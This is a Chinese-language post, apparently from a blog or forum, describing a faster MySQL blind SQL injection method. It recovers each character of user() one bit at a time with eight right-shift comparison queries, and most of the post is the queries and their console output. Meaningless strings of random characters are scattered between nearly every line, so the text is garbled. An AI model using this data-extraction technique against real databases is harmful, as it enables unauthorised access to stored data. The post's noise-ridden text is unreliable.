关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

# D8 |' J2 Z  y7 V/ I8 u3 \

' H; Z! i: N, U" t6 i下面将以查询mysql数据库当中user()的第一位为例:
1 _/ N; }; M* S( W. P& t1 K

3 |+ {4 ~9 T5 A1 V- S. N7 t/ D
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
. D) v1 R7 H( \5 q; E

7 q# L6 N2 u: D; J! O( ]' Q. D, ]! B
首先执行如下sql语句:
$ e( q6 y+ W$ w- K9 [  V5 A1 I( L


$ \1 A) j( G9 ]& e  tmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
' S+ H  x' `2 b  j' G! b9 D( |
3 r1 `% G- k; W6 E% V1 P  E" Q
, A7 y# V4 v5 Q0 G
5 ~0 S8 Q- G/ u) B2 o8 W我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
# J3 u0 x# {3 N" w" \" ]

, d% d6 P3 `: u! ?+ Y" S/ ?+ W+ ^
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1


3 V; Z' ~7 `* _  B" A& \0 d
如果运算结果为1,说明第一位为0,不为1
9 C. [; K4 Z0 U* M. Z' z
% A# p7 e) e9 M) i
( Y6 ]6 S1 y7 s; I+ H( q+ x: O5 {: f0 w
+————————————–+
$ D/ Z5 `* o4 N) v8 s) M
| (ascii((substr(user(),1,1))) >> 7)=0 |

9 J( C0 W1 N2 g2 A0 B2 W+————————————–+
) L% m/ T: D6 S- B- f- x1 @& S& z
| 1 |
8 k8 T, A+ a4 y
. y8 U4 h. p; ?+ \. k) o9 x+————————————–+
1 I% l# u  G9 a4 i. ?& R
7 w9 |$ u, A% U$ @# b" `# D1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0

& Q7 L$ M0 G' z1 s: @
# }, G9 e- a& s
第二次我们来做6次右偏移来确定前两位

5 `6 T* a3 \6 C4 B; G; y$ s

前两位可能是01或00,即依然可以与0做比较,
& n, z" l3 o5 e% l
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
5 t4 H+ M+ g8 D: v
& Z( {$ I0 j! F+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
" n" k6 U3 }7 |- O+ s: K
+————————————–+

- [# e; L9 p8 z% H9 V| 0 |
0 i$ C6 C7 F; w/ u  r" [! Z- N
, _) G: t# n) n3 B+————————————–+
9 o# i# g! E) R6 g" w' b- v" U
. g/ `* s: V+ s$ z1 row in set (0.00 sec)


: u( u$ M5 W4 ~/ c3 n) d  P. h
结果为0,即第二位为1
9 z7 R. p3 k8 Y( B: U( C


开始猜测前三位为010或011

& U  r2 |( G' \" m$ D

( p3 n+ i0 Q, A+ z% S1 T! \让我们看看010和011的ascii码是多少
; F: v+ y1 e& h9 v" \# Z( k+ y
  C4 [: Q1 I2 O$ b7 O8 B

分别查询select b’011′ select b’010′
& x  ?& ]/ t6 V- d/ ^


获得结果 010 = 2 011 = 3



' z; H* P& M) ^6 z& X执行如下sql:
) w- E5 `/ \( a3 A" r7 v; r5 f

8 P8 Q) R- N4 G" a4 K/ J- G1 B
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
! E$ n% j0 X3 ?; M8 R5 u& s
' H$ ]+ P7 b2 e7 i+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |
% L6 Y* |* ]3 D
# w& W& L, T! B% \$ p; W: X+————————————–+

| 0 |
5 E0 I. d9 k- ?/ a
5 h. R+ ^+ j& N) J( Z1 \+————————————–+
$ D# V9 p0 o, S* D2 U
即前三位不为010,而是011

- X7 o9 L9 f9 a1 Q# w  H- ]' B

% [0 Z# i0 s5 I; k! S直到获得最后一位


* ^" }3 J' v1 ^. A' n( Z1 `
最终结果为:01110010

0 i+ E6 S, g1 w9 y8 G  K7 u

转换一下:
2 m' y: F1 W9 p1 z, T1 p. x5 H1 n% t
1 j/ S2 a/ M; p5 b6 {
# m/ Y& [; F- m" `9 c
select b’01110010′
  i; Q3 l+ {0 D8 n- R  Y3 N7 m) D; ~


5 y3 \6 Y7 I1 D& c% c( E' W4 W查询结果
: e! [# I7 C% X, m/ F
; D' I; V4 x3 _7 p5 z" r

2 B% b7 I6 V  k. N$ n: B+————-+

| b’01110010′ |
6 `1 n6 K4 s% B$ ], B1 H! @
6 w' z6 R* d% X5 K6 @1 M+————-+

| r |
. a5 @+ y; w: x; c: [
6 i; v+ @9 {, |* X+————-+

1 row in set (0.00 sec)

, l# R% ?% o) t- e

3 [* o7 U, k& Z2 K% }, {这样我们就获得了user()的第一位.其它位依此类推

: z& ^. ]& b, j& \" q& \  E6 H